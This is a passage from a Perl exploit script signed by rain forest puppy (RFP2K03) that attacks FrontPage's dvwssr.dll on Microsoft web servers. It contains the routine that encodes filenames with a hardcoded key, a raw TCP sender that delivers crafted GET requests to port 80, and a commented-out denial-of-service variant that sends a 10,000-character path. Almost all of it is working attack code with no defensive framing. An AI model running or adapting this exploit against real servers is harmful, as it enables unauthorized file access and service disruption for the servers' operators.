$url="GET /_vti_bin/_vti_aut/dvwssr.dll?".encodefilename($file).
" HTTP/1.0\n\n";
print sendraw($url);
}
# another DoS in the script; uncomment if you're a DoS kiddie.
# $B='A'x 10000;
# $file="/$B/../die.asp";
# $url="GET /_vti_bin/_vti_aut/dvwssr.dll?".encodefilename($file).
# " HTTP/1.0\n\n";
# print sendraw($url);
}
sub encodefilename {
my $from=shift;
my
$slide="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
my $key="Netscape engineers are weenies!";
my $kc=length($from)%31; # this was fixed to include the '%31'
my ($fv,$kv,$tmp,$to,$lett);
@letts=split(//,$from);
foreach $lett (@letts){
$fv=index $slide, $lett;
$fv=index $slide, (substr $slide,62-$fv,1) if($fv>=0);
$kv=index $slide, substr $key, $kc, 1;
if($kv>=0 && $fv>=0){
$tmp= $kv - $fv;
if($tmp <0){$tmp +=62;}
$to.=substr $slide, $tmp,1; } else {
$to.=$lett;}
if(++$kc >= length($key)){ $kc=0;}
}return $to;}
sub sendraw {
my ($pstr)=@_;
my $target;
$target= inet_aton($ip) || die("inet_aton problems");
socket(S,2,1,getprotobyname('tcp')||0) || die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,80,$target)){
select(S); $|=1;
print $pstr; my @in=<S>;
select(STDOUT); close(S);
return @in;
} else { die("Can't connect...\n"); }}
------------------------------------- rain forest puppy / rfp@wiretrip.net
"Bad puppy! No bisquit!" - Carole Fennelly
---------- RFP2K03 ------------------------------------ rfp.labs ---------